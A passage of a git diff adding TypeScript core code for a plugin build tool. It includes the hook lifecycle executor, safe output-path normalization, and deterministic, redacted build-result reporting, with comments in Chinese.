// 主 Component 使用工程相对报告路径,辅助文件使用绝对来源;统一以 project.root 为解析基准。 + path: path.resolve(project.root, sourcePath), + root: project.root, + })); + /** 每个 owner 的目录或精确文件授权,不包含工程根和 runtime 共同父目录。 */ + const policies = new Map(); + for (const runtime of platforms) { + policies.set(`platform:${runtime.resolved.platform.id}`, { + roots: [runtime.workDir], + files: componentFiles, + }); + } + for (const runtime of extensions) + policies.set(`extension:${runtime.extension.name}`, { roots: [runtime.workDir] }); + policies.set('public', { + files: project.publicFiles.map(file => ({ path: path.resolve(project.root, file.sourcePath), root: project.root })), + }); + return policies; +} + +/** + * 将 PluginProject Component 依赖转换为兼容性传播边。 + * + * @param project 已完成图校验的规范工程。 + * @returns 使用 `kind:id` Subject 约定的稳定依赖列表。 + */ +function compatibilityDependencies(project: PluginProject): CompatibilityDependency[] { + return [...project.commands, ...project.skills, ...project.agents].map(component => ({ + subject: `${component.kind}:${component.id}`, + dependsOn: [ + ...component.requires.skills.map(id => `skill:${id}`), + ...component.requires.agents.map(id => `agent:${id}`), + ], + })); +} + +/** + * 把最终 DeliveryUnit 转换为不含内容字节的报告条目。 + * + * @param units 全局 Registry 的不可变单元快照。 + * @returns Schema v1 使用的稳定摘要。 + */ +function deliveryUnitReports(units: readonly DeliveryUnit[]): DeliveryUnitReport[] { + return units.map(unit => ({ + platform: unit.platform, + id: unit.id, + role: unit.role, + type: unit.type, + artifacts: unit.artifacts.map(artifact => ({ + path: artifact.path, + owner: artifact.owner, + mode: artifact.mode, + size: artifact.size, + sha256: artifact.sha256, + })), + })); +} + +/** + * 执行唯一、平台中立的 acplugin Core 生命周期。 + * + * 具体 Platform 与 Extension 只能通过公开 Hook 和最小 Context 参与,Core 不包含任何内置 + * Platform、Hooks 或 MCP 名称分支。 + * + * @param request 已解析配置、TS 模块加载能力和可选环境快照。 + * @returns 不含工程绝对路径和 Artifact 内容的 Schema v1 BuildResult。 + */ +export async function executeLifecycle(request: LifecycleRequest): Promise { + /** buildStart/buildEnd 可见但不会自动加载 dotenv 的环境快照。 */ + const environment = Object.freeze({ ...(request.environment ?? process.env) }); + /** 当前运行所有隔离工作目录的共同临时父目录。 */ + const runtimeRoot = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-work-')); + /** 程序化结果、JSON 报告和 buildEnd 错误摘要共同使用的脱敏边界。 */ + const reportRedaction = Object.freeze({ roots: [request.config.root, runtimeRoot], environment }); + /** 所有 Hook、Scanner、Registry 与事务共享的诊断容器。 */ + const diagnostics = new DiagnosticCollector(reportRedaction); + /** Platform 和 Adapter 产生的功能兼容性结论。 */ + const compatibility = new CompatibilityCollector(); + /** Platform 对统一元数据字段的处理结果。 */ + const metadata = new MetadataDispositionCollector(diagnostics); + /** 按配置顺序建立的 Platform 运行时。 */ + const platforms: PlatformRuntime[] = request.config.platforms.map((resolved, index) => ({ + resolved, + workDir: path.join(runtimeRoot, 'platforms', `${index}-${encodeURIComponent(resolved.platform.id)}`), + initialized: false, + active: true, + })); + /** 按配置顺序建立且不提供依赖图的 Extension 运行时。 */ + const extensions: ExtensionRuntime[] = request.config.extensions.map((extension, index) => ({ + extension, + workDir: path.join(runtimeRoot, 'extensions', `${index}-${encodeURIComponent(extension.name)}`), + initialized: false, + active: true, + discovered: undefined, + built: undefined, + hasResources: false, + })); + /** configResolved 开始后需要逆序执行 buildEnd 的对象。 */ + const initialized: InitializedRuntime[] = []; + /** 全局 owner-aware DeliveryUnit Registry。 */ + let sourcePolicies: ArtifactSourcePolicies = new Map(); + /** 全局 owner-aware DeliveryUnit Registry;Scanner 完成后替换为精确授权实例。 */ + let units = new DeliveryUnitRegistry(sourcePolicies); + /** Scanner 产出的只读工程;扫描异常前保持未定义。 */ + let project: PluginProject | undefined; + /** 各 Platform 完成 Adapter 应用后的结构化 Document 报告。 */ + const documentReports: DocumentReport[] = []; + /** 不被 cleanup 错误覆盖的首个异常。 */ + let originalError: unknown; + /** 输出目录是否完成原子交换。 */ + let committed = false; + /** 防止事务 afterSwap 与 finally 重复清理。 */ + let finalized = false; + + /** Platform 的配置顺序描述快照。 */ + const platformDescriptions = Object.freeze(platforms.map(item => Object.freeze({ + id: item.resolved.platform.id, + apiVersion: item.resolved.platform.apiVersion, + deliveryType: item.resolved.platform.deliveryType, + strict: item.resolved.strict, + }))); + /** Extension 的配置顺序描述快照。 */ + const extensionDescriptions: readonly ExtensionDescription[] = Object.freeze(extensions.map(item => Object.freeze({ + name: item.extension.name, + apiVersion: item.extension.apiVersion, + }))); + /** configResolved Hook 只能读取的最小配置快照。 */ + const configSnapshot = Object.freeze({ + root: request.config.root, + srcDir: request.config.srcDir, + metadata: request.config.metadata, + strict: request.config.strict, + }); + + /** + * 逆序执行所有已初始化对象的 buildEnd,并把清理失败追加为诊断。 + * + * @param cause 进入清理前的首个异常。 + * @returns 保留原始异常优先级的最终失败原因。 + */ + const finalize = async (cause: unknown): Promise => { + if (finalized) + return cause; + finalized = true; + /** 后续 buildEnd 可观察且不会覆盖原始异常的失败原因。 */ + let finalCause = cause; + for (const item of [...initialized].reverse()) { + /** 当前对象自己的隔离工作目录与身份。 */ + const workDir = item.runtime.workDir; + /** 当前清理阶段的安全失败摘要。 */ + const error = finalCause === undefined ? undefined : failureSummary(finalCause, reportRedaction); + if (item.kind === 'platform') { + /** 当前执行 buildEnd 的 Platform 实例。 */ + const platform = item.runtime.resolved.platform; + try { + /** 仅包含安全失败摘要和最小运行信息的 Platform 清理上下文。 */ + const context: BuildEndContext = Object.freeze({ + command: request.config.command, + mode: request.config.mode, + projectRoot: request.config.root, + workDir, + environment, + status: finalCause === undefined && !diagnostics.hasErrors ? 'success' : 'failed', + ...(error === undefined ? {} : { error }), + reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'buildEnd'), + }); + await platform.buildEnd?.(context); + } catch /** cleanupError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (cleanupError) { + finalCause ??= cleanupError; + diagnostics.error('PLATFORM_BUILD_END_FAILED', `Platform "${platform.id}" buildEnd failed.`, { + phase: 'buildEnd', platform: platform.id, + }); + } + } else { + /** 当前执行 buildEnd 的 Extension 实例。 */ + const extension = item.runtime.extension; + try { + /** 仅包含安全失败摘要和最小运行信息的 Extension 清理上下文。 */ + const context: BuildEndContext = Object.freeze({ + command: request.config.command, + mode: request.config.mode, + projectRoot: request.config.root, + workDir, + environment, + status: finalCause === undefined && !diagnostics.hasErrors ? 'success' : 'failed', + ...(error === undefined ? {} : { error }), + reportDiagnostic: diagnosticReporter(diagnostics, { extension: extension.name }, 'buildEnd'), + }); + await extension.buildEnd?.(context); + } catch /** cleanupError 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (cleanupError) { + finalCause ??= cleanupError; + diagnostics.error('EXTENSION_BUILD_END_FAILED', `Extension "${extension.name}" buildEnd failed.`, { + phase: 'buildEnd', extension: extension.name, + }); + } + } + } + return finalCause; + }; + + try { + await fs.mkdir(path.join(runtimeRoot, 'platforms'), { recursive: true }); + await fs.mkdir(path.join(runtimeRoot, 'extensions'), { recursive: true }); + + // configResolved 固定先执行 Platform,再执行 Extension,且都保持用户配置顺序。 + for (const runtime of platforms) { + await fs.mkdir(runtime.workDir, { recursive: true }); + runtime.initialized = true; + initialized.push({ kind: 'platform', runtime }); + /** 当前进入 configResolved 阶段的 Platform。 */ + const platform = runtime.resolved.platform; + try { + /** Platform 可见的冻结配置与生态描述快照。 */ + const context: ConfigResolvedContext = Object.freeze({ + command: request.config.command, + mode: request.config.mode, + config: configSnapshot, + platforms: platformDescriptions, + extensions: extensionDescriptions, + reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'configResolved'), + }); + await platform.configResolved?.(context); + } catch { + runtime.active = false; + diagnostics.error('PLATFORM_HOOK_FAILED', `Platform "${platform.id}" configResolved failed.`, { + phase: 'configResolved', platform: platform.id, + }); + } + } + for (const runtime of extensions) { + await fs.mkdir(runtime.workDir, { recursive: true }); + runtime.initialized = true; + initialized.push({ kind: 'extension', runtime }); + try { + /** Extension 可见的冻结配置与生态描述快照。 */ + const context: ConfigResolvedContext = Object.freeze({ + command: request.config.command, + mode: request.config.mode, + config: configSnapshot, + platforms: platformDescriptions, + extensions: extensionDescriptions, + reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'configResolved'), + }); + await runtime.extension.configResolved?.(context); + } catch { + runtime.active = false; + diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" configResolved failed.`, { + phase: 'configResolved', extension: runtime.extension.name, + }); + } + } + + // buildStart 仍固定 Platform 在前、Extension 在后;失败对象不再进入后续业务 Hook。 + for (const runtime of platforms.filter(item => item.active)) { + try { + await runtime.resolved.platform.buildStart?.(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + projectRoot: request.config.root, + workDir: runtime.workDir, + environment, + reportDiagnostic: diagnosticReporter(diagnostics, { platform: runtime.resolved.platform.id }, 'buildStart'), + })); + } catch { + runtime.active = false; + diagnostics.error('PLATFORM_HOOK_FAILED', `Platform "${runtime.resolved.platform.id}" buildStart failed.`, { + phase: 'buildStart', platform: runtime.resolved.platform.id, + }); + } + } + for (const runtime of extensions.filter(item => item.active)) { + try { + await runtime.extension.buildStart?.(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + projectRoot: request.config.root, + workDir: runtime.workDir, + environment, + reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'buildStart'), + })); + } catch { + runtime.active = false; + diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" buildStart failed.`, { + phase: 'buildStart', extension: runtime.extension.name, + }); + } + } + + for (const runtime of extensions.filter(item => item.active)) { + try { + runtime.discovered = await runtime.extension.discover?.(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + srcDir: request.config.srcDir, + workDir: runtime.workDir, + loadTypeScriptModule: request.loadTypeScriptModule, + reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'discover'), + })); + // discover 返回 undefined 是通用的“未发现资源”信号,空 Extension 不影响兼容性。 + runtime.hasResources = runtime.discovered !== undefined; + } catch { + runtime.active = false; + diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" discover failed.`, { + phase: 'discover', extension: runtime.extension.name, + }); + } + } + + /** Core Scanner 始终在 Extension discover 后建立唯一 PluginProject。 */ + const scanned = await scanProject(request.config, diagnostics); + project = scanned.project; + /** Scanner 之后才能把工程来源收窄为实际发现的精确文件。 */ + sourcePolicies = artifactSourcePolicies(project, platforms, extensions); + units = new DeliveryUnitRegistry(sourcePolicies); + + for (const runtime of extensions.filter(item => item.active)) { + try { + await runtime.extension.validate?.(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + project, + reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'validate'), + }), runtime.discovered as never); + } catch { + runtime.active = false; + diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" validate failed.`, { + phase: 'validate', extension: runtime.extension.name, + }); + } + } + + if (!diagnostics.hasErrors) { + for (const runtime of extensions.filter(item => item.active)) { + try { + runtime.built = await runtime.extension.build?.(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + project, + workDir: runtime.workDir, + /** Extension 只能登记明确的绝对文件,避免相对路径随进程 cwd 漂移。 */ + addWatchFile: (file: string): void => { + if (typeof file !== 'string' || file.includes('\0') || !path.isAbsolute(file)) + throw new TypeError('Extension watch files must be absolute paths without NUL bytes.'); + request.onWatchFile?.(path.normalize(file)); + }, + reportDiagnostic: diagnosticReporter(diagnostics, { extension: runtime.extension.name }, 'build'), + }), runtime.discovered as never); + } catch { + runtime.active = false; + diagnostics.error('EXTENSION_HOOK_FAILED', `Extension "${runtime.extension.name}" build failed.`, { + phase: 'build', extension: runtime.extension.name, + }); + } + } + } + + /** Platform 阶段开始前的结构错误会阻止所有产物生成。 */ + const generationAllowed = !diagnostics.hasErrors; + if (generationAllowed) { + for (const runtime of platforms) { + /** 当前串行执行产物生成的 Platform。 */ + const platform = runtime.resolved.platform; + /** 当前 Platform 新增错误不会阻止后续 Platform 收集自己的诊断。 */ + const errorsBeforePlatform = errorCount(diagnostics); + if (!runtime.active) + continue; + try { + /** Platform prepare 产生的兼容性出口自动附加当前 Platform ID。 */ + const reportCompatibility = (entry: CompatibilityInput): void => compatibility.add({ ...entry, platform: platform.id }); + /** Platform 对统一元数据的处理结论同样由 Core 固定附加身份。 */ + const reportMetadata = (entry: MetadataDispositionInput): void => metadata.add({ ...entry, platform: platform.id }); + /** Platform 初始结构化 Draft。 */ + const draftInput = await platform.prepare(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + project, + options: platform.options ?? Object.freeze({}), + workDir: runtime.workDir, + reportCompatibility, + reportMetadata, + reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'prepare'), + })); + /** Draft Registry 同时允许当前 Platform、工程扫描来源和 Extension 临时产物。 */ + const draft = await PlatformDraftRegistry.create(platform.id, draftInput, sourcePolicies); + for (const publicFile of project.publicFiles) { + await draft.injectPublicArtifact({ + path: publicFile.targetPath, + source: { type: 'file', path: publicFile.sourcePath }, + mode: publicFile.mode, + }); + } + + for (const extensionRuntime of extensions.filter(item => item.active && item.hasResources)) { + /** 当前 Extension 对该 Platform 的唯一 Adapter。 */ + const adapter = extensionRuntime.extension.adapters.find(item => item.platform === platform.id); + if (!adapter) { + compatibility.add({ + platform: platform.id, + subject: `extension:${extensionRuntime.extension.name}`, + capability: extensionRuntime.extension.name, + level: 'unsupported', + reason: `Extension "${extensionRuntime.extension.name}" has resources but no Adapter for Platform "${platform.id}".`, + }); + continue; + } + /** Adapter 同步 API 提交的异步 Artifact 校验任务。 */ + const pendingArtifacts: Promise[] = []; + /** Adapter 只能访问当前 Draft 的 add-only 受限上下文。 */ + const context: PlatformAdapterContext = Object.freeze({ + command: request.config.command, + mode: request.config.mode, + platform: Object.freeze({ + id: platform.id, + apiVersion: platform.apiVersion, + deliveryType: platform.deliveryType, + }), + project, + /** getDocument 提供当前对象协议要求的回调实现。 */ getDocument: (id: string): Readonly | undefined => draft.getDocument(id), + /** emitArtifact 提供当前对象协议要求的回调实现。 */ emitArtifact: (input: ArtifactInput): void => { + pendingArtifacts.push(draft.emitArtifact(`extension:${extensionRuntime.extension.name}`, input)); + }, + /** patchDocument 提供当前对象协议要求的回调实现。 */ patchDocument: (input: DocumentAddPatch): void => draft.patchDocument(`extension:${extensionRuntime.extension.name}`, input), + /** reportCompatibility 提供当前对象协议要求的回调实现。 */ reportCompatibility: (entry: CompatibilityInput): void => compatibility.add({ ...entry, platform: platform.id }), + reportDiagnostic: diagnosticReporter(diagnostics, { + platform: platform.id, + extension: extensionRuntime.extension.name, + }, 'adapter'), + }); + await adapter.apply(context, extensionRuntime.built as never); + await Promise.all(pendingArtifacts); + } + + /** document 表示当前 Platform 在 Adapter 完成后的最终结构化 Document。 */ + for (const document of draft.documents) { + documentReports.push({ + platform: platform.id, + id: document.id, + path: document.path, + format: document.format, + owner: document.owner, + }); + } + + // 当前 Platform 的全部 Adapter 结论完成后应用 strictness;错误只跳过当前 Platform。 + compatibility.applyStrictness(diagnostics, { id: platform.id, strict: runtime.resolved.strict }); + if (errorCount(diagnostics) > errorsBeforePlatform) + continue; + + /** generateBundle 新增的兼容性结论只在本 checkpoint 之后再次应用 strictness。 */ + const generateCompatibilityStart = compatibility.size; + /** Platform 读取完成 owner merge 的只读 Draft 并生成主单元。 */ + const primaryInput = await platform.generateBundle(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + project, + documents: draft.documents, + artifacts: draft.artifacts, + workDir: runtime.workDir, + reportCompatibility, + reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'generateBundle'), + })); + compatibility.applyStrictness( + diagnostics, + { id: platform.id, strict: runtime.resolved.strict }, + generateCompatibilityStart, + ); + if (errorCount(diagnostics) > errorsBeforePlatform) + continue; + if (primaryInput.id !== platform.deliveryType || primaryInput.role !== 'primary' || primaryInput.type !== platform.deliveryType) + throw new Error(`Platform "${platform.id}" returned an invalid primary DeliveryUnit contract.`); + /** Platform 必须序列化全部 Document 并透传全部 Public/Extension Artifact。 */ + const outputPaths = new Set(primaryInput.artifacts.map(artifact => normalizeOutputPath(artifact.path))); + for (const document of draft.documents) { + /** omit-if-empty 只在 Adapter 合并后仍为空对象时允许不生成物理文件。 */ + const canOmit = document.emission === 'omit-if-empty' + && document.value !== null + && typeof document.value === 'object' + && !Array.isArray(document.value) + && Object.keys(document.value).length === 0; + if (!canOmit && !outputPaths.has(document.path)) + throw new Error(`Platform "${platform.id}" omitted Document "${document.id}" from its primary unit.`); + } + for (const artifact of draft.artifacts) { + if (!outputPaths.has(artifact.path)) + throw new Error(`Platform "${platform.id}" omitted inherited Artifact "${artifact.path}" from its primary unit.`); + } + /** owner 完整且已进入全局 tuple 唯一性的主单元。 */ + const primary = await units.add(platform.id, primaryInput, draft.artifacts); + await withMaterializedDeliveryUnitCandidate(primary, candidate => platform.validateBundle(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + candidate, + reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'validateBundle'), + })), runtime.workDir); + if (errorCount(diagnostics) > errorsBeforePlatform) { + units.removePlatform(platform.id); + continue; + } + + if (platform.generateDistributions) { + /** Platform 只能组合自己已经验证的主单元。 */ + const distributions = await platform.generateDistributions(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + project, + options: platform.options ?? Object.freeze({}), + workDir: runtime.workDir, + reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'generateDistributions'), + }), Object.freeze([primary])); + for (const distributionInput of distributions) { + if (distributionInput.id !== 'marketplace' || distributionInput.role !== 'distribution' || distributionInput.type !== 'marketplace') + throw new Error(`Platform "${platform.id}" returned an invalid Distribution contract.`); + /** 每个 Distribution 独立进入全局 Registry 和候选 Validator。 */ + const distribution = await units.add(platform.id, distributionInput, primary.artifacts); + await withMaterializedDeliveryUnitCandidate(distribution, candidate => platform.validateBundle(Object.freeze({ + command: request.config.command, + mode: request.config.mode, + candidate, + reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id }, 'validateBundle'), + })), runtime.workDir); + } + } + if (errorCount(diagnostics) > errorsBeforePlatform) + units.removePlatform(platform.id); + } catch { + units.removePlatform(platform.id); + diagnostics.error('PLATFORM_GENERATION_FAILED', `Platform "${platform.id}" generation failed.`, { + phase: 'generate', platform: platform.id, + }); + } + } + } + + /** 只对依赖传播新产生的结论追加 strict/relaxed Diagnostic,避免重复直接结论。 */ + const propagatedCompatibilityStart = compatibility.size; + if (project) + compatibility.propagateDependencies(compatibilityDependencies(project)); + for (const runtime of platforms) { + compatibility.applyStrictness( + diagnostics, + { id: runtime.resolved.platform.id, strict: runtime.resolved.strict }, + propagatedCompatibilityStart, + ); + } + /** 全局 Registry 完整且无错误时才允许物化或提交任何单元。 */ + const finalUnits = units.snapshot(); + /** 已成功建立主单元的 Platform 集合。 */ + const successfulPlatforms = new Set(finalUnits.filter(unit => unit.role === 'primary').map(unit => unit.platform)); + /** 配置中的每个 Platform 是否都完成了主单元生成。 */ + const allPlatformsGenerated = platforms.every(runtime => successfulPlatforms.has(runtime.resolved.platform.id)); + if (!diagnostics.hasErrors && generationAllowed && allPlatformsGenerated) { + /** 显式策略优先;Core 直接调用仍按命令使用符合直觉的默认提交行为。 */ + const commit = request.commit ?? (request.config.command === 'build' || request.config.command === 'dev'); + if (commit) { + await commitDeliveryUnits(request.config.outDir, finalUnits, { + projectRoot: request.config.root, + /** buildEnd 仍处于 backup 可回滚窗口,清理失败不会留下部分提交。 */ + async afterSwap() { + originalError = await finalize(originalError); + if (originalError !== undefined || diagnostics.hasErrors) + throw originalError ?? new Error('Lifecycle cleanup failed.'); + }, + }); + committed = true; + } else { + await validateDeliveryUnitMaterialization(finalUnits); + originalError = await finalize(originalError); + } + } + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + originalError ??= error; + if (!diagnostics.hasErrors) + diagnostics.error('LIFECYCLE_INTERNAL_FAILED', 'The lifecycle failed inside Core.', { phase: 'internal' }); + } finally { + if (originalError === undefined && diagnostics.hasErrors) + originalError = new Error('Lifecycle failed; see diagnostics.'); + originalError = await finalize(originalError); + await fs.rm(runtimeRoot, { recursive: true, force: true }); + } + + /** buildEnd 之后的最终不可变单元快照。 */ + const finalUnits = units.snapshot(); + /** Scanner 成功时由三种规范资源组成的无路径 Component 摘要。 */ + const components: ComponentReport[] = project === undefined + ? [] + : [...project.commands, ...project.skills, ...project.agents].map(component => ({ + kind: component.kind, + id: component.id, + })); + return createBuildResult({ + command: request.config.command, + success: !diagnostics.hasErrors && originalError === undefined + && platforms.every(runtime => finalUnits.some(unit => unit.platform === runtime.resolved.platform.id && unit.role === 'primary')), + committed, + platforms: platforms.map(runtime => runtime.resolved.platform.id), + platformDetails: platformDescriptions, + components, + extensions: extensionDescriptions.map((extension, index) => ({ + ...extension, + hasResources: extensions[index]?.hasResources ?? false, + })), + documents: documentReports, + deliveryUnits: deliveryUnitReports(finalUnits), + diagnostics: diagnostics.diagnostics, + compatibility: compatibility.entries, + metadata: metadata.entries, + }, reportRedaction); +} diff --git a/packages/core/src/output-paths.ts b/packages/core/src/output-paths.ts new file mode 100644 index 0000000..dc66e76 --- /dev/null +++ b/packages/core/src/output-paths.ts @@ -0,0 +1,91 @@ +import path from 'node:path'; + +/** 输出路径占用记录的来源类别。 */ +export type OutputPathKind = 'document' | 'artifact'; + +/** 已被某个所有者占用的规范输出路径。 */ +export interface OutputPathReservation { + readonly path: string; + readonly owner: string; + readonly kind: OutputPathKind; +} + +/** + * 将产物路径规范化为安全、稳定的 POSIX 相对路径。 + * + * @param value Platform 或 Extension 提供的目标路径。 + * @returns 经过分隔符、逃逸和 Unicode 检查的 NFC 路径。 + */ +export function normalizeOutputPath(value: string): string { + if (typeof value !== 'string' || value === '') + throw new Error('Output path must be a non-empty string.'); + if (value.includes('\\')) + throw new Error(`Output path must use POSIX separators: ${value}`); + if (value.includes('\0')) + throw new Error('Output path must not contain NUL bytes.'); + if (path.posix.isAbsolute(value)) + throw new Error(`Output path must be relative: ${value}`); + if (value.split('/').includes('..')) + throw new Error(`Output path escapes its root through a parent-directory segment: ${value}`); + /** 折叠点片段并统一 Unicode 组合形式后的最终路径。 */ + const normalized = path.posix.normalize(value).normalize('NFC'); + if (normalized === '.' || normalized === '..' || normalized.startsWith('../')) + throw new Error(`Output path escapes the DeliveryUnit root: ${value}`); + return normalized; +} + +/** + * 生成跨大小写和 Unicode 归一化文件系统使用的路径冲突键。 + * + * @param value 已规范化的 POSIX 输出路径。 + * @returns 按路径片段折叠后的稳定冲突键。 + */ +function collisionKey(value: string): string { + return value.split('/') + .map(segment => segment.normalize('NFC').toLocaleLowerCase('en-US')) + .join('/'); +} + +/** 管理一个 Draft 或 DeliveryUnit 中全部文件路径的唯一占用关系。 */ +export class OutputPathRegistry { + /** 以跨文件系统冲突键索引的路径占用记录。 */ + readonly #reservations = new Map(); + + /** + * 验证并占用一个文件路径。 + * + * @param owner Platform 或 Extension 的稳定所有者。 + * @param kind Document 或普通 Artifact。 + * @param value 未经校验的相对输出路径。 + * @returns 已规范化并冻结的占用记录。 + */ + reserve(owner: string, kind: OutputPathKind, value: string): OutputPathReservation { + if (typeof owner !== 'string' || owner.trim() === '') + throw new Error('Output owner must be a non-empty string.'); + /** 经过路径边界和 Unicode 规范化的文件路径。 */ + const outputPath = normalizeOutputPath(value); + /** 用于跨平台冲突和文件/目录前缀检查的比较键。 */ + const key = collisionKey(outputPath); + for (const [existingKey, existing] of this.#reservations) { + if (key === existingKey) { + throw new Error(`Output path collision between ${existing.kind} "${existing.path}" owned by "${existing.owner}" and ${kind} "${outputPath}" owned by "${owner}".`); + } + if (key.startsWith(`${existingKey}/`) || existingKey.startsWith(`${key}/`)) { + throw new Error(`Output file/directory conflict between "${existing.path}" and "${outputPath}".`); + } + } + /** 成功占用后保存的不可变路径记录。 */ + const reservation = Object.freeze({ path: outputPath, owner, kind }); + this.#reservations.set(key, reservation); + return reservation; + } + + /** + * 释放一次尚未完成内容验证的路径占用。 + * + * @param value reserve 返回的规范路径。 + */ + release(value: string): void { + this.#reservations.delete(collisionKey(value)); + } +} diff --git a/packages/core/src/reports.ts b/packages/core/src/reports.ts new file mode 100644 index 0000000..4e72399 --- /dev/null +++ b/packages/core/src/reports.ts @@ -0,0 +1,134 @@ +import { stableJson } from './serialization.js'; +import { + redactReportValue, + sanitizeReportText, + sortCompatibility, + sortDiagnostics, + sortMetadataDispositions, + type ReportRedactionOptions, +} from './diagnostics.js'; +import type { + BuildCommand, + BuildResult, + CompatibilityEntry, + ComponentReport, + DeliveryUnitReport, + Diagnostic, + DocumentReport, + ExtensionReport, + MetadataDispositionEntry, + PlatformReport, +} from './types.js'; +import type { PlatformId } from './contracts.js'; + +/** 创建 Schema v1 BuildResult 所需的未排序内部输入。 */ +export interface BuildResultInput { + readonly command: BuildCommand; + readonly success: boolean; + readonly committed: boolean; + readonly platforms: readonly PlatformId[]; + readonly platformDetails: readonly PlatformReport[]; + readonly components: readonly ComponentReport[]; + readonly extensions: readonly ExtensionReport[]; + readonly documents: readonly DocumentReport[]; + readonly deliveryUnits: readonly DeliveryUnitReport[]; + readonly diagnostics: readonly Diagnostic[]; + readonly compatibility: readonly CompatibilityEntry[]; + readonly metadata: readonly MetadataDispositionEntry[]; +} + +/** + * 对单个 DeliveryUnitReport 清理文本并稳定排序 Artifact。 + * + * @param unit 尚未进入最终 BuildResult 的交付单元报告。 + * @param options 路径和环境值脱敏选项。 + * @returns 不含绝对路径和内容字节的确定性报告副本。 + */ +function normalizeDeliveryUnitReport( + unit: DeliveryUnitReport, + options: ReportRedactionOptions = {}, +): DeliveryUnitReport { + return { + ...unit, + id: sanitizeReportText(unit.id, options), + artifacts: unit.artifacts.map(artifact => ({ + ...artifact, + path: sanitizeReportText(artifact.path, options), + owner: sanitizeReportText(artifact.owner, options), + })).sort((a, b) => a.path.localeCompare(b.path, 'en') || a.owner.localeCompare(b.owner, 'en')), + }; +} + +/** + * 创建供 CLI、Watch 和公开运行时共同使用的确定性 Schema v1 BuildResult。 + * + * @param input 生命周期中按任意发现顺序收集的报告数据。 + * @param options 程序化结果也必须应用的路径和环境值脱敏边界。 + * @returns 已按所有稳定键排序且不包含时间戳的构建结果。 + */ +export function createBuildResult( + input: BuildResultInput, + options: ReportRedactionOptions = {}, +): BuildResult { + /** 去重并按字典序固定的 Platform ID 列表。 */ + const platforms = [...new Set(input.platforms)].sort((a, b) => a.localeCompare(b, 'en')); + /** 按 Platform ID 排序的已验证 Platform 详情。 */ + const platformDetails = input.platformDetails.map(platform => ({ ...platform })).sort((left, right) => left.id.localeCompare(right.id, 'en')); + /** 按种类和 ID 排序且不包含来源路径的已验证 Component 摘要。 */ + const components = input.components.map(component => ({ ...component })).sort((left, right) => left.kind.localeCompare(right.kind, 'en') || left.id.localeCompare(right.id, 'en')); + /** 按名称排序的已验证 Extension 摘要。 */ + const extensions = input.extensions.map(extension => ({ ...extension })).sort((left, right) => left.name.localeCompare(right.name, 'en')); + /** 按 Platform、逻辑 ID 和路径排序的已验证相对 Document 摘要。 */ + const documents = input.documents.map(document => ({ ...document })).sort((left, right) => left.platform.localeCompare(right.platform, 'en') + || left.id.localeCompare(right.id, 'en') + || left.path.localeCompare(right.path, 'en')); + /** 按 Platform、单元 ID、角色和类型排序的交付单元报告。 */ + const deliveryUnits = input.deliveryUnits.map(unit => normalizeDeliveryUnitReport(unit, options)).sort((a, b) => + a.platform.localeCompare(b.platform, 'en') + || a.id.localeCompare(b.id, 'en') + || a.role.localeCompare(b.role, 'en') + || a.type.localeCompare(b.type, 'en')); + return { + schemaVersion: '1', + command: input.command, + success: input.success, + committed: input.committed, + platforms, + platformDetails, + components, + extensions, + documents, + deliveryUnits, + diagnostics: sortDiagnostics(input.diagnostics, options), + compatibility: sortCompatibility(input.compatibility, options), + metadata: sortMetadataDispositions(input.metadata, options), + }; +} + +/** + * 把 BuildResult 深度脱敏并序列化为单个、字节稳定的 JSON 文档。 + * + * @param result 已完成结构化排序的 Schema v1 BuildResult。 + * @param options 需要额外隐藏的工程根和环境值。 + * @returns 两空格缩进、单个尾随换行且键顺序稳定的 JSON。 + */ +export function serializeBuildResult(result: BuildResult, options: ReportRedactionOptions = {}): string { + /** 不能被同名环境值破坏的 Schema 枚举、Platform 和 DeliveryUnit 身份。 */ + const protectedValues = new Set([ + result.schemaVersion, + result.command, + ...result.platforms, + ...result.platformDetails.flatMap(platform => [platform.id, platform.apiVersion, platform.deliveryType]), + ...result.components.flatMap(component => [component.kind, component.id]), + ...result.extensions.flatMap(extension => [extension.name, extension.apiVersion]), + ...result.documents.flatMap(document => [document.platform, document.id, document.format, document.owner]), + ...result.deliveryUnits.flatMap(unit => [unit.platform, unit.id, unit.role, unit.type]), + ...result.diagnostics.flatMap(diagnostic => [diagnostic.code, diagnostic.severity, diagnostic.phase]), + ...result.compatibility.map(entry => entry.level), + ...result.metadata.map(entry => entry.disposition), + ]); + /** 从环境脱敏集合排除协议身份,避免 CODEX 等宿主变量把合法 Platform ID 改写。 */ + const environment = Object.fromEntries(Object.entries(options.environment ?? process.env) + .filter(([, value]) => value === undefined || !protectedValues.has(value))); + return stableJson(redactReportValue(result, { ...options, environment })); +} diff --git a/packages/core/src/scanner.ts b/packages/core/src/scanner.ts index d887fdf..70cc0b6 100644 --- a/packages/core/src/scanner.ts +++ b/packages/core/src/scanner.ts @@ -2,7 +2,7 @@ import { promises as fs } from 